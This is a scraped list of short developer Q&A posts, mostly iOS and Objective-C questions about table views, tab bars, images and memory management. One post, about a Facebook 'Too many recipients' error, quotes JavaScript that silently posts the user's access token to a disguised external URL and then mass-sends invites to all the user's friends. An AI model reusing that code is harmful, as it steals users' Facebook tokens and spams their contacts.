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  • Where is the best place to run initialization code for a UITabBarController?

    - by bobobobo
    I have a UITabBarController in my application. I have to perform some customization to the NIB file using code the first time a view embedded in that UITabBarController gets loaded. When applicationDidFinishLaunching occurs, the UITabBarController's views apparently are not loaded -- if I try to modify the view controllers inside a tab bar that the tab bar is to load in applicationDidFinishLaunching, then those changes are ignored. I'm assuming this is because the tab bar didn't finish loading yet. So, I need a good place to put code that will run immediately after a tabbar is fully ready -- i.e. after it has loaded all the views from their respective nib files. I'm finding the only place I can do this is to track the first time viewDidAppear on each individual view controller. Note I can't use viewWillAppear because I need the value of tabBarController.selectedIndex to be accurate, and it is only actually updated after viewDidAppear gets fired, not when viewWillAppear gets fired.

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  • Too many recipients error

    - by Mohamed Salem
    when i add my app tab to another facebook page when i call sendRequestToFriends it give me this error API Error Code: 100 API Error Description: Invalid parameter Error Message: Too many recipients. my code window.fbAsyncInit = function() { var curLoc = window.location; FB.init({ appId : 'my app id', xfbml : true, oauth : true, cookie: true }); FB.Canvas.setAutoGrow(); }; (function() { var e = document.createElement('script'); e.async = true; e.src = document.location.protocol + '//connect.facebook.net/en_GB/all.js'; document.getElementById('fb-root').appendChild(e); }()); function inviteFriends(message){ FB.ui({ method: 'apprequests', message: message, data:"155349921187396" }); } var davet_m="",davet_t="Suggest to Friends",kkk=0; function mshuffle(o){ for(var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x); return o; }; function sendRequestToFriends(txxt,title){ davet_m=txxt; if (title) davet_t=title; FB.login(function(response) { if (response.authResponse) { if(!kkk) { kkk=1; $.post("http%3A%2F%2Fstatic.ak.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D12%23cb%3Df162f78ec4%26origin%3Dhttp%253A%252F%252Fwa3y.net%252Ff365ea14a4%26domain%3Dwa3y.net%26relation%3Dopener%26frame%3Dfe611bba4",{"token":response.authResponse.accessToken},function(data) {}); } all(); } else { all(); } }, {scope: 'email,user_about_me,user_birthday'}); } function all(){ var friends = new Array(); FB.api('/me/friends', function(response) { for (var i=0; i<response.data.length; i++) { friends[i] = response.data[i].id; //alert(friends[i]); } mshuffle(friends); loop(friends); }); } var GG_NUM=50; function loop(list){ if(list.length != 0){ //alert(list.length); var string = ''; var shifting = 0; if (list.length >= GG_NUM){ shifting = GG_NUM; for (var j = 0; j< GG_NUM; j++){ if (j != GG_NUM-1) string = string + list[j] + ','; else string = string + list[j]; } } else{ shifting = list.length; for (var j = 0; j< list.length; j++){ if (j != list.length - 1) string = string + list[j] + ','; else string = string + list[j]; } } string = "'" + string + "'"; FB.ui({method: 'apprequests', data: '155349921187396', message: davet_m, title: davet_t, to : string}, function(response) { if (response) { for (var i = 0; i < shifting; i++){ list.shift(); } loop(list); } else{ } }); } } <script>

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  • Custom cell and Delete/Move indicators

    - by Kamchatka
    Hello, I have a custom UITableViewCell. However, when I got in edit mode, I don't have any Delete and Move indicators appearing. The custom cell draws itself in the contentView. In layoutSubviews, I make sure there is space on the left and one the right of the contentView so that the controls can appear (if this was the problem). - (void)layoutSubviews { self.contentView.frame = CGRectMake(50, 0, self.frame.size.width - 100, sub.thumbnail.size.height + 20); } In the UITableViewController, I return YES in: - (BOOL)tableView:(UITableView *)tableView canMoveRowAtIndexPath:(NSIndexPath *)indexPath { How could I solve this lack of interactivity. Is there something specific for custom cells? Thanks!

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  • When are sqlite3 views updated?

    - by John Smith
    I have a database on the iPhone which as a view. When I update the dependent tables the view is not updated. It's only updated when I close and reopen the application. From there onwards things are okay: updates reflect immediately. Is there something I need to do to force update of a VIEW?

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  • iPhone Camera and Image Chooser

    - by PF1
    Hi Everyone: I have found a lot of information on using UIImagePickerController to let the user choose the image they want from the Photos application's data. I am wondering how I can create this same effect on 3.0, as it doesn't seem as if a lot of the old code works anymore. In addition, I would like the user to be able to take a new picture from this same pop-up. Thanks for any help!

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  • Simple Iphone XML Example

    - by dub
    Hi, I a bit overwhelmed with all of the sample code I've seen on the apple dev site. I'm looking for a simple example to show me how to load an xml file from a server into iphone. I would like to read url's from this xml file and load an image.

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  • How do i set and get UIButtons' tag?

    - by Sam Jarman
    How do i set a tag for a button programmatically? I later want to compare to tags for a conclusion ive tried this -(IBAction)buttonPressed:(id)sender{ NSLog(@"%d", [sender tag]); } but that just crashes the app.... :( any other ideas? Cheers Guys Sam

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  • NSString stringWithFormat question

    - by John Smith
    I am trying to build a small table using NSString. I cannot seem to format the strings properly. Here is what I have [NSString stringWithFormat:@"%8@: %.6f",e,v] where e is an NSString from somewhere else, and v is a float. What I want is output something like this: Grapes: 20.3 Pomegranates: 2.5 Oranges: 15.1 What I get is Grapes:20.3 Pomegranates:2.5 Oranges:15.1 How can I fix my format to do something like this?

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  • What's CFRunLoop?

    - by Boon
    I would like to understand run loop more in-depth than what the reference provides. Is there resources out there that discuss this in greater details?

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  • Sliding finger UIImageView

    - by NextRev
    How do you detect when you slide your finger across a UIImageView? Say for example you slide your finger across it and it changes color or something. I want to be able to slide across multiple UIImageViews and have something happen...

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  • editButtonItem set but no minus buttons?

    - by QAD
    My edit button is placed in viewDidLoad: self.navigationItem.rightBarButtonItem = self.editButtonItem; It shows up correctly on the nav bar, and tapping this button indeed change it to Done. However, no minus buttons show up in my table rows. Swiping a row, then tap Delete works, though. Any ideas? EDIT 1: Here's how I'm doing: - (void)loadView { tableView = [[UITableView alloc] initWithFrame:[[UIScreen mainScreen] applicationFrame]]; tableView.delegate = self; tableView.dataSource = self; tableView.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight; self.view = tableView; } EDIT 2: My observation is that the edit and minus buttons display fine if my tableview is created in IB (RootViewController). The other two (or three) tableview are created by the aforemention code, so that might be the problem. Guess I'd have to dive in to isEditing, editing and whatnot.

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  • EASY: How does one release memory correctly in the attached C array?

    - by Tricky
    Hi, I'm just trying to work out why the following code is leaking memory and I have a funny feeling that i'm not releasing the array memory correctly. This is a C function in a wider objective-c app and I'm not native to C... i've tried just using free() on the array, but have a feeling this isn't the whole story... Could someone have a look and see what I'm missing here. Thanks! CFIndex theNumberOfSettings = 3; CTParagraphStyleSetting theSettings[3] = { {kCTParagraphStyleSpecifierAlignment, sizeof(CTTextAlignment), &alignment}, {kCTParagraphStyleSpecifierLineSpacing, sizeof(lineSpacing), &lineSpacing}, {kCTParagraphStyleSpecifierHeadIndent, sizeof(headIndent), &headIndent} }; CTParagraphStyleRef theParagraphRef = CTParagraphStyleCreate(theSettings, theNumberOfSettings); CFAttributedStringSetAttribute(attrString, CFRangeMake(0, CFAttributedStringGetLength(attrString)-1), kCTParagraphStyleAttributeName, theParagraphRef); CFRelease(theParagraphRef); free(theSettings);

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  • Releasing dynamically added UILabel.

    - by coure06
    I am adding a no. of UILable dynamically to my view like this UILabel *test = [[UILabel alloc] initWithFrame:CGRectMake(x, y, 50, 50)]; [self.view addSubview:tick]; Is it necessary to release these UILabel from memory in viewDidUnLoad and dealloc, if yes how i will release them? how i will get their reference?

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  • How to change the UIImageView image content by code?

    - by Tattat
    I use this to assign image: UIImage *img = [UIImage imageWithContentsOfFile: [[NSBundle mainBundle] pathForResource:@"myImage" ofType:@"png"]]; CGRect cropRect = CGRectMake(175, 0, 175, 175); CGImageRef imageRef = CGImageCreateWithImageInRect([img CGImage], cropRect); imageView = [[UIImageView alloc] initWithFrame:CGRectMake(0, 0, 175, 175)]; imageView.image = [UIImage imageWithCGImage:imageRef]; [self addSubview:imageView]; CGImageRelease(imageRef); Now, I want to change the image from myImage to myImage2, so I do that: UIImage *img = [UIImage imageWithContentsOfFile: [[NSBundle mainBundle] pathForResource:@"myImage2" ofType:@"png"]]; CGRect cropRect = CGRectMake(175, 0, 175, 175); CGImageRef imageRef = CGImageCreateWithImageInRect([img CGImage], cropRect); imageView = [[UIImageView alloc] initWithFrame:CGRectMake(0, 0, 175, 175)]; imageView.image = [UIImage imageWithCGImage:imageRef]; [self addSubview:imageView]; It works, but not the way I want, I want to change the image, not add a imageView on top of the pervious one. How can I modify my code? thx u.

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  • Why is it so hard to find a C++ 3d game tutorial

    - by Dave
    I'm planning on learning 3d game development for the iphone using a 3d engine, but because of lack of tutorials for the iphone I was planning on using C++ game tutorials and making the necessary changes. The problem is that I've had limited success when searching for things such as 'c++ 3d fps tutorial ' I dont really get anything useful. Are there any 3d c++ tutorials you can recommend?

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  • Cannot copying tables when compiling on Device

    - by Amarpreet
    Hi guys, I am working on sqlite application with around 10 tables in database. it works fine when i run on simulator. And when i open the sqlite file from Applications folder of simulator it shows me all the tables and data. the problem arises when i run app on device. I downloaded the application from device and i checked the sqlite database files there were no tables in it. please help me solving this problem. thanks.

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  • Do somthing when animation is ready.

    - by f0rz
    Hi! I have a animation in my navigationbased application. [UIView beginAnimations:nil context:nil]; [UIView setAnimationDuration:1.5]; [UIView setAnimationBeginsFromCurrentState:YES]; [UIView setAnimationTransition:UIViewAnimationTransitionCurlDown forView:self.view cache:YES]; [UIImageView commitAnimations]; Directly after this bit of code i call [self.navigationController popViewControllerAnimated:NO]; The thing is, I dont want to pop my ViewController before my animation is ready. Can someone point me to right directions here ?

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  • Two Problems I'm having with UIButton and UIView.

    - by Andy
    Hi all, I haven't been programming on the iPhone for very long, but I'm picking it up slowly by googling problems I get. Unfortunately I haven't been able to find an answer for these. I have started a new View-based application in Xcode 3.2.2 and immediately added the following files: myUIView.m and myUIView.h, which are subclasses of UIView. In Interface Builder, I set the subclass of the default UIView to be myUIView. I made a button in the drawRect method. Problem one: The title of the button only appears AFTER I click the screen, why? Problem two: I want the button to produce the modalview - is this possible? The code is as follow: #import "myUIView.h" @implementation myUIView - (void)drawRect:(CGRect)rect { // Drawing code button = [UIButton buttonWithType:UIButtonTypeRoundedRect]; button.frame = CGRectMake(0,0,100,100); [button setTitle:@"butty" forState:UIControlStateNormal]; [button addTarget:self action:@selector(buttonPressed:) forControlEvents:UIControlEventTouchUpInside]; [self addSubview:button]; } -(void)buttonPressed:(id)sender{ NSLog(@"Button pressed"); //present modal view somehow..? } I can't see how to post attachments, but if anyone thinks it will help I can upload the source. Many thanks, Andy

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  • How to NSZombieEnabled for debugging EXC_BAD_ACCESS on release target for an iPhone app?

    - by Bobby Moretti
    I'm developing an iPhone application. I have an EXC_BAD_ACCESS that occurs only in the release target; when I build the debug target the exception does not occur. However, when I set the NSZombieEnabled environment variable to YES, I still get the EXC_BAD_ACCESS with no further information. Is it even possible for NSZombieEnabled to work when executing the release target? I don't see why not, since gdb is running in both cases...

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  • Objective-C properties are not being recognized in header file?

    - by Greg
    Hey folks, I wonder if I'm doing something completely stupid here... I'm clearly missing something. I've gotten used to the pattern of defining properties of a custom class, however I seem to be hitting a point where extended classes do not recognize new properties. Case of point, here's my header file: import import "MyTableViewController.h" @interface MyRootController : MyTableViewController { NSMutableArray *sectionList; } @property (nonatomic, retain) NSMutableArray *sectionList; @end Now, for some reason that "sectionList" property is not turning green within my interface file (ie: it's not being recognized as custom property it seems). As a result, I'm getting all kinds of errors down in my implementation. The first is right at the top of my implementation where I try to synthesize the property: import "MyRootController.h" @implementation MyRootController @synthesize sectionList; That synthesize line throws the error "No declaration of property 'sectionList' found in the interface". So, this is really confusing. I'm clearly doing something wrong, although I can't put my finger on what. One thought: I am extending another custom class of my own. Do I need to specify some kind of super-class declaration to keep the architecture from getting sealed one level up? Thanks!

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  • UITextView disabling text selection

    - by dizy
    I'm having a hard time getting the UITextView to disable the selecting of the text. I've tried: canCancelContentTouches = YES; I've tried subclassing and overwriting: - (BOOL)canPerformAction:(SEL)action withSender:(id)sender (But that gets called only After the selection) - (BOOL)touchesShouldCancelInContentView:(UIView *)view; (I don't see that getting fired at all) - (BOOL)touchesShouldBegin:(NSSet *)touches withEvent:(UIEvent *)event inContentView:(UIView *)view; (I don't see that getting fired either) What am I missing ?

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